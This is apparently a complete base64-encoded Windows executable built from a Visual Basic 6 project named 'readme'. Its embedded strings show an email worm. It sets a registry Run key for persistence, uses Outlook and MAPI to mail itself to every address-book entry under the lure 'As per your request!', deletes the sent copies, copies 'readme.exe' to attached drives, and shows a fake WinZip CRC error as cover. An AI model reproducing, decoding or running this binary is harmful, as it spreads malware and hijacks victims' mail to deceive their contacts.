D2YdWQ1ml04CZlBYD2aBVQ9mVo8CZmeNEGbdog5m0aQPZqzCAWZJoxBmAVUPZgFWD2bsSAJmNVUP ZnBPD2Yi3gBm/v8PZmz3DWbhrBBmFZAQZqIDEGbKBhBmLaMQZmajD2aaRwJmcoIQZiYTD2bqpg9m gRYOZpupEGZxAQ9mOkgCZgAAAAAFAAgAFyNAAAAAAAAeI0AABwAIAKY1QAAWNkAArTVAAP8lWBBA AP8lgBBAAP8lkBBAAP8lQBBAAP8lMBBAAP8lpBBAAP8lGBBAAP8ltBBAAP8lRBBAAP8lsBBAAP8l qBBAAP8liBBAAP8lcBBAAP8lhBBAAP8lJBBAAP8lBBBAAP8l2BBAAP8lABBAAP8l9BBAAP8lmBBA AP8lUBBAAP8leBBAAP8l6BBAAP8l5BBAAP8l7BBAAP8l8BBAAP8l+BBAAP8lbBBAAP8lOBBAAP8l oBBAAP8lvBBAAP8lVBBAAP8lSBBAAP8lHBBAAP8lxBBAAP8laBBAAP8lTBBAAP8l4BBAAP8lIBBA AP8lrBBAAP8lZBBAAP8lnBBAAP8l3BBAAP8lKBBAAP8lzBBAAP8lDBBAAP8l1BBAAP8lYBBAAP8l NBBAAP8llBBAAP8ljBBAAP8lwBBAAP8lyBBAAP8lCBBAAP8lFBBAAP8lEBBAAP8l0BBAAP8lPBBA AP8lLBBAAP8lfBBAAP8lXBBAAP8ldBBAAP8luBBAAAAAaAwUQADo7v///wAAAAAAADAAAABAAAAA AAAAAMeZlejAE4FBuch8Tm8u/HEAAAAAAAABAAAAbWVudHNcUHJvamVjdDEAbQAACgAAAAAAAAD/ zDEAAYdi6cBEruBKgkYl0MLAW7ywOhE2/fgEQJHdKTPWxH6gOk+tM5lmzxG3DACqAGDTkwAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAG8AAABBAAAAAAYAVXJnZW50AA0BBwBVcmdl bnQhABkBAEIAI/////8kBQBGb3JtMQA1PAAAAFkBAAAzCQAAkwMAAEYD/wEnAAAAAQgAQ29tbWFu ZDEABAEFACZPcGVuAATwAHgAFwdnAhEAAP8CBAYAAACQIEAAUAAAAIdi6cBEruBKgkYl0MLAW7wA AAAAAAAAAAAAAAAAAAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMgAAAAAAAAA7BJAAEwA AABWQjUh8B8qAAAAAAAAAAAAAAAAAH4AAAAAAAAAAAAAAAAACgAJBAAAAAAAAAAAAACAFkAAEPAw AAD///8IAAAAAQAAAAEAAADpAAAAvBNAALQTQACoEkAAeAAAAH8AAACGAAAAhwAAAAAAAAAAAAAA AAAAAAAAAAByZWFkbWUAcmVhZG1lAABQcm9qZWN0MQABAAAAvBhAAAAAAADIIUAA/////wAAAAAQ GUAACEBAAAAAAAAwqhQAAAAAAAAAAAAAAAAAFBVAAAEAAAB0GUAAAAAAABQVQAABAAAAHBVAAAAA AAAYFUAAAgAAABwVQAACALcBaABsAGwVQADgQkAAAAAAAGRRGgCEGUAAlBlAAEAAHwA0AAAApBlA AP////8AAAAAAAAAAHQVQABQVRoAtBlAAP////9AABEAOAAAADAaQAABAAMAAAAAAAAAAAAIFkAA YFUaAEAaQAABAAMAbBZAAHkWQAAAAAAAHBVAAJwUQACCEkAAiBJAAI4SQAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAABxFkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AEQVQACcFEAAghJAAIgSQACOEkAAZBZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACBbCQENwAAAOmvCwAAgWwkBDMAAADp4gwA AAAA9AEAALwYQAAAAAAAECJAAOA2QADkCQAACEBAACYRQAAAQEAAKgBcAEEAQwA6AFwARABvAGMA dQBtAGUAbgB0AHMAIABhAG4AZAAgAFMAZQB0AHQAaQBuAGcAcwBcAGEAYQBwAG8AcwB0AGEAbABc AE0AeQAgAEQAbwBjAHUAbQBlAG4AdABzAFwAcgBlAGEAZABtAGUALgB2AGIAcAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtBNA AAEAAAAAAAAALEBAAIghQAD/////AAAAABxAQAA1VtbfQx/XR4HSbut8C6zQCgABAAEAAQAQGUAA AAAAAAAAAAAAAAAAUBlAAAkEAAAJBAAAAAAAAAIAAACcFEAA/////0waQAAAAAAAAAAAAAAAAABc GUAAAgAAAEAZQAD//wAAg4ABAAAAAAAAAAAAAAAAAEZvcm0xAAAAUHJvamVjdDEAAAAAVXJnZW50 AACwOhE2/fgEQJHdKTPWxH6gK8m2CHLa6UOqKUJSB7aSjodi6cBEruBKgkYl0MLAW7zCYYpfJUbG RYBwNXI+nVAROk+tM5lmzxG3DACqAGDTk0Zvcm0AAAAALj37/PqgaBCnOAgAKzNxtUM6XFByb2dy YW0gRmlsZXNcTWljcm9zb2Z0IFZpc3VhbCBTdHVkaW9cVkI5OFxWQjYuT0xCAAAAVkIAALwZQAAA AAAABgAAAAkAAADMGUAABBpAANBCQAAAAAAAAAAAAKA4FwDyTq0zmWbPEbcMAKoAYNOTQ29tbWFu ZDEAAAAADABEAAAAAAAAAAAAIgAAAEMAUgBDACAAZQByAHIAbwByADoAIAAyADMANAAjADIAMQAA ABoAAABXAFMAYwByAGkAcAB0AC4AUwBoAGUAbABsAAAAOgAAAFcAaQBuAFoAaQBwACAAUwBlAGwA ZgBFAHgAdAByAGEAYwB0AG8AcgA6ACAAVwBhAHIAbgBpAG4AZwAAADQAAABTAGMAcgBpAHAAdABp AG4AZwAuAEYAaQBsAGUAcwB5AHMAdABlAG0ATwBiAGoAZQBjAHQAAAAAAAwAAABXAEkATgBEAEkA UgAAAAAAFgAAAFwAcgBlAGEAZABtAGUALgBlAHgAZQAAAEYAaQBsAGUARQB4AGkAcwB0AHMAAAAA ACM9+/z6oGgQpzgIACszcbUiPfv8+qBoEKc4CAArM3G1AgAAAGQbQAB0G0AAAAAAAHlPrTOZZs8R twwAqgBg05MCAAAAXAAAAAgAAAAuAGUAeABlAAAAAABjAG8AcAB5AGYAaQBsAGUAAAAAAEQAcgBp AHYAZQBzAAAAAABkAHIAaQB2AGUAdAB5AHAAZQAAAGkAcwByAGUAYQBkAHkAAABkAHIAaQB2AGUA bABlAHQAdABlAHIAAAAEAAAAOgBcAAAAAAAMAAAAdwBpAG4AZABpAHIAAAAAAHgAAABIAEsAQwBV AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwA QwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AXABtAGEAYwByAG8AcwBvAGYAdAAA AAAAUgBlAGcAVwByAGkAdABlAAAAAAAmAAAATwB1AHQAbABvAG8AawAuAEEAcABwAGwAaQBjAGEA dABpAG8AbgAAAAgAAABNAEEAUABJAAAAAABHAGUAdABOAGEAbQBlAFMAcABhAGMAZQAAAAAAQQBk AGQAcgBlAHMAcwBMAGkAcwB0AHMAAAAAAEEAZABkAHIAZQBzAHMARQBuAHQAcgBpAGUAcwAAAAAA QwBvAHUAbgB0AAAADgAAAHAAcgBvAGYAaQBsAGUAAAAQAAAAcABhAHMAcwB3AG8AcgBkAAAAAABM AG8AZwBvAG4AAABDAHIAZQBhAHQAZQBJAHQAZQBtAAAAAABBAGQAZAByAGUAcwBzAAAAVABvAAAA AAAoAAAAQQBzACAAcABlAHIAIAB5AG8AdQByACAAcgBlAHEAdQBlAHMAdAAhAAAAAABTAHUAYgBq AGUAYwB0AAAAVAAAAFAAbABlAGEAcwBlACAAZgBpAG4AZAAgAGEAdAB0AGEAYwBoAGUAZAAgAGYA aQBsAGUAIABmAG8AcgAgAHkAbwB1AHIAIAByAGUAdgBpAGUAdwAuAAAAAAAEAAAADQAKAAAAAAB4 AAAASQAgAGwAbwBvAGsAIABmAG8AcgB3AGEAcgBkACAAdABvACAAaABlAGEAcgAgAGYAcgBvAG0A IAB5AG8AdQAgAGEAZwBhAGkAbgAgAHYAZQByAHkAIABzAG8AbwBuAC4AIAAgAFQAaABhAG4AawAg AHkAbwB1AC4AAAAAAEIAbwBkAHkAAAAAAEEAdAB0AGEAYwBoAG0AZQBuAHQAcwAAAEEAZABkAAAA RABlAGwAZQB0AGUAQQBmAHQAZQByAFMAdQBiAG0AaQB0AAAAAAAAAAAAAABTAGUAbgBkAAAAAABW QkE2LkRMTAAAAABfX3ZiYUFyeVVubG9jawAAX192YmFWYXJGb3JOZXh0AF9fdmJhRnJlZVN0cgAA AABfX3ZiYVZhckxhdGVNZW1TdAAAAF9fdmJhVmFyRm9ySW5pdABfX3ZiYVZhckxhdGVNZW1DYWxs TGRSZgBfX3ZiYVZhclRzdE5lAAAAX192YmFGb3JFYWNoVmFyAF9fdmJhVmFyWmVybwAAAABfX3Zi YU5leHRFYWNoVmFyAAAAAF9fdmJhVmFyQ21wRXEAAABfX3ZiYVZhck9yAABfX3ZiYUJvb2xWYXJO dWxsAAAAAF9fdmJhRnJlZU9iakxpc3QAAAAAX192YmFGcmVlU3RyTGlzdAAAAABfX3ZiYU9ialZh cgBfX3ZiYU5ldzIAAABkG0AA1EJAAF9fdmJhU3RyTW92ZQAAAABfX3ZiYVN0ckNhdABfX3ZiYUxh dGVNZW1DYWxsAAAAAF9fdmJhRnJlZVZhcgAAAABfX3ZiYVZhckxhdGVNZW1DYWxsTGQAAABfX3Zi YVZhclRzdEVxAAAAX192YmFWYXJDYXQAX192YmFWYXJTZXRWYXIAAF9fdmJhVmFyQWRkAF9fdmJh VmFyTW92ZQAAAABfX3ZiYUVuZAAAAABfX3ZiYUZyZWVWYXJMaXN0AAAAAF9fdmJhVmFyRHVwAF9f dmJhSHJlc3VsdENoZWNrT2JqAAAAAMghQAAAAAAAAAAAAAAAAAC8GEAA/////wAAAAB8IUAAAAAA AAAAAAAAAAAA/////wAAAAAIGkAApBlAANhCQAAIGkAAMBpAANxCQAAAAAAAnBRAAP////8AAAAA AAAAAAAAAACAIUAAAAAAAHwhQAB8IUAAfCFAAAAAAAAAAAAAAAAAAEQAAAAEAAAAzMzMzMzMzMzp 6enpzMzMzMzMzMzMzMzMVYvsg+wMaCYRQABkoQAAAABQZIklAAAAAIHsjAAAAFNWV4ll9MdF+AAR QACLdQiLxoPgAYlF/IPm/laJdQiLDv9RBIsWM/9WiX3ciX3MiX28iX2siX2ciX2M/5L8BgAAO8d9 Emj8BgAAaJQZQABWUP8VLBBAAIs10BBAALkEAAKAiU20uAoAAACJTcS7CAAAAI1VjI1NzIlFrIlF vMdFlKQaQACJXYz/1o1VnI1N3MdFpFwaQACJXZz/1o1FrI1NvFCNVcxRUo1F3GoQUP8VPBBAAI1N rI1VvFGNRcxSjU3cUFFqBP8VEBBAAIPEFP8VFBBAAIl9/Gg7I0AA6xyNVayNRbxSjU3MUI1V3FFS agT/FRAQQACDxBTDw4tFCFCLCP9RCItF/ItN7F9eZIkNAAAAAFuL5V3CBACQkJCQkJBVi+yD7Axo JhFAAGShAAAAAFBkiSUAAAAAgewcAgAAU1ZXiWX0x0X4EBFAAItFCIvIg+EBiU38JP5QiUUIixD/ UgSNhSz///+NjbT+//8z/1CNlQT///9Rib20/v//Uol93Il9zIl9vIl9rIl9nIl9jIm9fP///4m9 bP///4m9XP///4m9TP///4m9PP///4m9LP///4m9KP///4m9JP///4m9IP///4m9HP///4m9GP// /4m9FP///4m9BP///4m99P7//4m95P7//4m91P7//4m9xP7//4m9pP7//4m9lP7//4m9hP7//4m9 dP7//4m9QP7//4m9PP7//4m9LP7//4m9HP7//4m9DP7//4m9/P3//4m9+P3//4m99P3//4m98P3/ /4m97P3//4m96P3//4m95P3//8eFvP7//wEAAADHhbT+//8CAAAA/xXIEEAAizUIEEAAi9CNjSz/ ////1leNhQT///9o5BpAAFD/FYwQQACNjQT///+NlWz///9RUv8VwBBAALsIAAAAx4W8/v//IBtA AImdtP7//42VtP7//42NBP////8V0BBAAI2FBP///42N9P7//1BR/xU0EEAAjZX0/v//jYWk/v// Uo2N5P7//1BRx4Ws/v//NBtAAImdpP7///8VlBBAAIvQjU28/9aNlfT+//+NhQT///9SUGoC/xUQ EEAAuQxAAACNRbxRiY20/v//i9SLNdQQQACJhbz+//9qAYkKi424/v//aEwbQACJvaz+//+JSgSN jWz///9Rx4Wk/v//C4AAAIlCCIuFwP7//4lCDI2VBP///1L/1oPEIFCNhaT+//9Q/xVgEEAAix0M EEAAjY0E////iYVg/v///9NmOb1g/v//D4Q3AgAAOT3UQkAAdRBo1EJAAGiEG0AA/xWcEEAAodRC QACNlRj///9SUIsIiYVg/v///1EUO8fb4n0Vi41g/v//ahRodBtAAFFQ/xUsEEAAi4UY////jY0o ////UVCLEImFWP7///9SUDvH2+J9FYuVWP7//2pQaJQbQABSUP8VLBBAADk91EJAAHUQaNRCQABo hBtAAP8VnBBAAKHUQkAAjZUU////UlCLCImFUP7///9RFDvH2+J9FYuNUP7//2oUaHQbQABRUP8V LBBAAIuFFP///42NJP///1FQixCJhUj+////Ulg7x9vifRWLlUj+//9qWGiUG0AAUlD/FSwQQACL hSj///9QaKgbQAD/FSgQQACL0I2NIP////8V3BBAAIuNJP///1BR/xUoEEAAi9CNjRz/////FdwQ QABQaLAbQAD/FSgQQACNVbyD7BCJlaz+//+L1LkIAAAAiYUM////iY0E////iQqLjQj///+D7BCJ SgTHhaT+//8MQAAAi8yD7BCJQgiLhRD///+JQgyLlaT+//+Lhaj+//+JEYuVrP7//4lBBIuFsP7/ /4lRCIuVmP7//4lBDIvMuAIAAABqA4kBuAEAAABovBtAAIlRBIlBCIuFoP7//4lBDI2NbP///1H/ FWQQQABQ/xXMEEAAjZUc////jYUk////Uo2NIP///1CNlSj///9RUmoE/xWsEEAAg8RQjYUU//// jY0Y////UFFqAv8VIBBAAIPEDI2NBP/////TV42VbP///2jQG0AAjYUE////UlD/1oPEEI1NzFBR /xXAEEAAjVXMjYV8////Uo2NQP7//1CNlfD9//9RjYXs/f//Uo2N+P3//1BR/xXgEEAAO8cPhGQC AABXjZV8////aOAbQACNhQT///9SUMeFvP7//wEAAADHhbT+//8CgAAAx4Ws/v//AwAAAMeFpP7/ /wIAAAD/1oPEEI2NtP7//42V9P7//1BRUv8VxBBAAFCNhaT+//+NjeT+//9QUf8VaBBAAFD/FUwQ QACNjQT///+JhWD+////02Y5vWD+//8PhKkBAABXjZV8////aOAbQACNhQT///9SUMeFvP7//wQA AADHhbT+//8CgAAA/9aDxBCNjbT+//9QUf8VYBBAAI2NBP///4mFYP7////TZjm9YP7//w+FgQEA AFeNlXz///9o9BtAAI2FBP///1JQx4W8/v///////8eFtP7//wuAAAD/1oPEEI2NtP7//1BR/xVg EEAAjY0E////iYVg/v///9NmOb1g/v//D4T9AAAAg+wQuQxAAACL1ImNpP7//41FvFeJCouNqP7/ /4mFrP7//2gEHEAAiUoEjY18////UceFvP7//yAcQACJQgiLhbD+///HhbT+//8IAAAAx4WM/v// /////4lCDI2VBP///1LHhYT+//8LAAAA/9aDxBCNjfT+//9QjYW0/v//UFH/FZQQQACLCIPsEIvU g+wQiQqLSASJSgSLSAiLQAyJSgiLzGoDiUIMi5WE/v//i4WI/v//iRGLlYz+//9ovBtAAIlBBIuF kP7//4lRCIlBDI2NbP///1H/FWQQQABQ/xXMEEAAjZX0/v//jYUE////UlBqAv8VEBBAAIPESI2N fP///42VQP7//1GNhfD9//9SjY3s/f//UI2V+P3//1FS/xUcEEAA6ZT9//+NlbT+//+NjQT////H hbz+//8sHEAAx4W0/v//CAAAAP8V0BBAAI2FBP///42N9P7//1BR/xU0EEAAjZX0/v//jYWk/v// Uo2N5P7//1BRx4Ws/v//NBtAAMeFpP7//wgAAACJvYz+///HhYT+//8LgAAA/xWUEEAAiwiD7BCL 1GoBaEwbQACJCotIBIlKBItICItADIlKCI2NbP///4lCDI2V1P7//1FS/9aDxCBQjYWE/v//UP8V YBBAAI2N1P7//4mFYP7//42V5P7//1GNhfT+//9SjY0E////UFFqBP8VEBBAAIPEFGY5vWD+//8P hKQCAAA5PdRCQAB1EGjUQkAAaIQbQAD/FZwQQACh1EJAAI2NGP///1FQixCJhWD+////UhQ7x9vi fRWLlWD+//9qFGh0G0AAUlD/FSwQQACLhRj///+NlSj///9SUIsIiYVY/v///1FQO8fb4n0Vi41Y /v//alBolBtAAFFQ/xUsEEAAOT3UQkAAdRBo1EJAAGiEG0AA/xWcEEAAodRCQACNjRT///9RUIsQ iYVQ/v///1IUO8fb4n0Vi5VQ/v//ahRodBtAAFJQ/xUsEEAAi4UU////jZUk////UlCLCImFSP7/ //9RWDvH2+J9FYuNSP7//2pYaJQbQABRUP8VLBBAAIuVKP///1JoqBtAAP8VKBBAAIvQjY0g//// /xXcEEAAUIuFJP///1D/FSgQQACL0I2NHP////8V3BBAAFBosBtAAP8VKBBAAImF3P7//7gIAAAA jZW0/v//jY0E////iYXU/v//x4W8/v//LBxAAImFtP7///8V0BBAAI2NBP///42V9P7//1FS/xU0 EEAAi43U/v//i5XY/v//g+wQx4Ws/v//NBtAAIvEx4Wk/v//CAAAAIkIi43c/v//iVAEi5Xg/v// iUgIjY2k/v//iVAMjYX0/v//UI2V5P7//1FS/xWUEEAAixCD7BCLzIPsEIkRi1AEiVEEi1AIi0AM iVEIi5V4/v//iUEMi8y4AgAAAGoDiQG4AQAAAGi8G0AAiVEEiUEIi4WA/v//iUEMjY1s////Uf8V ZBBAAFD/FcwQQACNlRz///+NhST///9SUI2NIP///42VKP///1FSagT/FawQQACDxFCNhRT///+N jRj///9QUWoC/xUgEEAAjZXk/v//jYXU/v//Uo2N9P7//1CNlQT///9RUmoE/xUQEEAAg8Qg/xVI EEAAV42FBP///2iEGkAAUP8VjBBAAI2NBP///41VrFFS/xXAEEAAjZW0/v//jY0E////x4W8/v// LBxAAMeFtP7//wgAAAD/FdAQQACNhQT///+NjfT+//9QUf8VNBBAAIPsELgIAAAAi9SLjaD+///H haz+//80G0AAx4Wk/v//CAAAAIkCi4WY/v//iUIEuEAcQACJQgiNhaT+//+JSgyNlfT+//9SjY3k /v//UFH/FZQQQACLCIPsEIvUagJovBxAAIkKi0gEiUoEi0gIi0AMiUoIjU2sUYlCDP8VZBBAAFD/ FcwQQACNleT+//+NhfT+//9SjY0E////UFFqA/8VEBBAAIPEPI2VBP///1do1BxAAFL/FYwQQACN hQT///+NTdxQUf8VwBBAALgAHUAAuQgAAACJhbz+//+JjbT+//+D7BCL1GoBaAwdQACJCouNuP7/ /4lKBI1N3FGJQgiLhcD+//+JQgyNlQT///9S/9aDxCBQjYVM////UP8VwBBAAFeNjUz///9oKB1A AI2VBP///1FS/9aDxBCL0I2NLP7///8VVBBAAI2FLP7//41NjFCNlTz+//9RjYXo/f//Uo2N5P3/ /1CNlfT9//9RUv8V4BBAAIs9bBBAADPJO8EPhDIFAABRaGQdQACJjbz+//9RjUWMaEQdQACNjQT/ //9QUceFtP7//wKAAAD/FaAQQACDxBCNlfT+//9QUv/Wg8QQUI2FtP7//1D/FbwQQACNjfT+//+N lQT///9RUmoCiYVg/v///xUQEEAAg8QMZoO9YP7//wAPhI8EAACD7BC5CAAAAIvUiY20/v//iY2U /v//uHQdQACJCouNuP7//4mFvP7//4PsEIlKBIvMagJonB1AAIlCCIuFwP7//4lCDIuVlP7//4uF mP7//4kRi5Wg/v//iUEEuIgdQACJQQiNhUz///9QiVEM/xVkEEAAUP8VzBBAAIPELI1NjI2VBP// /8eFvP7//wEAAABqAGhkHUAAagBoRB1AAFFSx4W0/v//AgAAAP8VoBBAAIPEEFCNhfT+//9Q/9aD xBCL0I2NHP7///8VCBBAAI2NtP7//42VHP7//1GNhaT+//9SjY38/f//UI2VDP7//1GNhTz///9S UMeFrP7//wEAAADHhaT+//8CAAAA/xU4EEAAjY0E////iYXQ/f///9OLhdD9//+FwA+EYQMAAIPs ELkMQAAAi9SJjbT+//+NhTz///9qAYkKi424/v//iYW8/v//aEQdQACJSgSNTYxRiUIIi4XA/v// iUIMjZUE////Uv/Wg8QgUI1FnFD/FcAQQACD7BC5AgAAAIvUiY20/v//M8BqAYkKi424/v//iYW8 /v//aKgdQACJSgSNTdxRiUIIi4XA/v//iUIMjZUE////Uv/Wg8QgUI2FXP///1D/FcAQQABqAI1N nGjAHUAAjZUE////UVL/1osQi8xo0B1AAIkRi1AEiVEEi1AIi0AMiVEIiUEMjY1c////Uf/XjY0E /////9OD7BC5CAAAAIvUiY20/v//uNwdQACJCouNuP7//4mFvP7//4lKBIlCCIuFwP7//42NXP// /2gIHkAAUYlCDP/XaBweQABoeB5AAP8VKBBAAIvQjY0o/////xXcEEAAUGiEHkAA/xUoEEAAg+wQ uQgAAACL1ImNBP///4mFDP///2gAH0AAiQqLjQj///+JSgSNjVz///9RiUIIi4UQ////iUIM/9eN jSj/////FfgQQACNjQT/////042VtP7//42NBP///8eFvP7//yAbQADHhbT+//8IAAAA/xXQEEAA jZUE////jYX0/v//UlD/FTQQQACNjfT+//+NlaT+//9RjYXk/v//UlDHhaz+//80G0AAx4Wk/v// CAAAAP8VlBBAAIsQg+wQi8xqAWgkH0AAiRGLUARqAGgMH0AAiVEEi1AIi0AMiVEIjZXE/v//iUEM jY1c////UVL/FaAQQACDxBBQ/xVkEEAAUP8VzBBAAI2FxP7//42N5P7//1BRjZX0/v//jYUE//// UlBqBP8VEBBAAIPEILkLAAAAi9SJjbT+//+DyP9oLB9AAIkKi424/v//iYW8/v//iUoEjY1c//// UYlCCIuFwP7//4lCDP/XagCNlVz///9o0B1AAI2FBP///1JQx4W8/v//VB9AAMeFtP7//wiAAAD/ 1oPEEI2NtP7//1BR/xW8EEAAjY0E////iYVg/v///9Nmg71g/v//AHQkagCNlVz///9oWB9AAFL/ FWQQQABQ/xXMEEAAg8QM/xVIEEAA/xVIEEAAjYX8/f//jY0M/v//UI2VPP///1FS/xXwEEAAiYXQ /f//6ZH8//+NRYyNjTz+//9QjZXo/f//UY2F5P3//1KNjfT9//9QUf8VHBBAAOnE+v//iU38aMA2 QADraY2VHP///42FIP///1KNjST///9QjZUo////UVJqBP8VrBBAAI2FFP///42NGP///1BRagL/ FSAQQACNlcT+//+NhdT+//9SjY3k/v//UI2V9P7//1GNhQT///9SUGoF/xUQEEAAg8Q4w4s17BBA AI2N+P3//1H/1o2V9P3//1L/1o2FPP7//42NQP7//1BRagL/FSAQQACNlfz9//+NhQz+//9SjY0c /v//UI2VLP7//1FSagT/FRAQQACLNQwQQACDxCCNTdz/1o1NzP/WjU28/9aNTaz/1o1NnP/WjU2M /9aNjXz/////1o2NbP/////WjY1c/////9aNjUz/////1o2NPP/////WjY0s/////9bDi0UIUIsI /1EIi0X8i03sX15kiQ0AAAAAW4vlXcIEAJCenp6eDDcAAP//////////DDgAAAAQAAAAAAAAAAAA AAAAAAAAAAAAAAAAABo4AAAkOAAAMjgAAEI4AABSOAAAZjgAAHI4AACCOAAAljgAAKo4AAC4OAAA xjgAAN44AACaAgCA7jgAAFMCAIAAOQAAEjkAAFYCAIAkOQAAODkAAEI5AABSOQAAYDkAAHQ5AACE OQAAkjkAAKA5AAC0OQAAwjkAANg5AADiOQAA/jkAABQ6AAAiOgAAzAIAgDQ6AABIOgAAVjoAAGA6 AABsOgAAhjoAAJg6AACqOgAAvjoAANA6AABkAACA3joAAO46AAAAOwAAEDsAAB47AAAyOwAAQDsA AFg7AABiOwAAcjsAAIQ7AACOOwAAmDsAAKo7AAC8OwAAxjsAAAAAAABNU1ZCVk02MC5ETEwAAAAA X0NJY29zAAAAAF9hZGpfZnB0YW4AAAAAX192YmFWYXJNb3ZlAAAAAF9fdmJhRnJlZVZhcgAAAABf X3ZiYUZyZWVWYXJMaXN0AAAAAF9fdmJhRW5kAAAAAF9hZGpfZmRpdl9tNjQAAABfX3ZiYU5leHRF YWNoVmFyAAAAAF9fdmJhRnJlZU9iakxpc3QAAAAAX2Fkal9mcHJlbTEAAABfX3ZiYVN0ckNhdAAA AF9fdmJhSHJlc3VsdENoZWNrT2JqAAAAAF9hZGpfZmRpdl9tMzIAAABfX3ZiYVZhckZvckluaXQA AABfYWRqX2ZkaXZfbTE2aQAAAABfYWRqX2ZkaXZyX20xNmkAAABfX3ZiYUJvb2xWYXJOdWxsAAAA AF9DSXNpbgAAAABfX3ZiYVZhclplcm8AAAAAX192YmFDaGtzdGsAAABFVkVOVF9TSU5LX0FkZFJl ZgAAAF9fdmJhVmFyVHN0RXEAAABfX3ZiYU9ialZhcgAAAF9fdmJhVmFyT3IAAAAAX192YmFWYXJM YXRlTWVtU3QAAABfYWRqX2ZwYXRhbgAAAEVWRU5UX1NJTktfUmVsZWFzZQAAAABfQ0lzcXJ0AAAA RVZFTlRfU0lOS19RdWVyeUludGVyZmFjZQAAAF9fdmJhRXhjZXB0SGFuZGxlcgAAAABfYWRqX2Zw cmVtAAAAAF9hZGpfZmRpdnJfbTY0AAAAAF9fdmJhRlBFeGNlcHRpb24AAAAAX192YmFWYXJDYXQA AABfQ0lsb2cAAAAAX192YmFOZXcyAAAAX192YmFWYXJMYXRlTWVtQ2FsbExkUmYAAABfYWRqX2Zk aXZfbTMyaQAAAABfYWRqX2ZkaXZyX20zMmkAAABfX3ZiYUZyZWVTdHJMaXN0AAAAAF9hZGpfZmRp dnJfbTMyAAAAAF9hZGpfZmRpdl9yAAAAX192YmFWYXJUc3ROZQAAAF9fdmJhVmFyU2V0VmFyAAAA AF9fdmJhVmFyQ21wRXEAAABfX3ZiYVZhckFkZAAAAF9fdmJhTGF0ZU1lbUNhbGwAAAAAX192YmFW YXJEdXAAAABfX3ZiYVZhckxhdGVNZW1DYWxsTGQAAABfQ0lhdGFuAAAAX192YmFTdHJNb3ZlAAAA AF9fdmJhRm9yRWFjaFZhcgAAAF9hbGxtdWwAAABfQ0l0YW4AAAAAX192YmFBcnlVbmxvY2sAAAAA X192YmFWYXJGb3JOZXh0AAAAX0NJZXhwAAAAAF9fdmJhRnJlZVN0cgAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 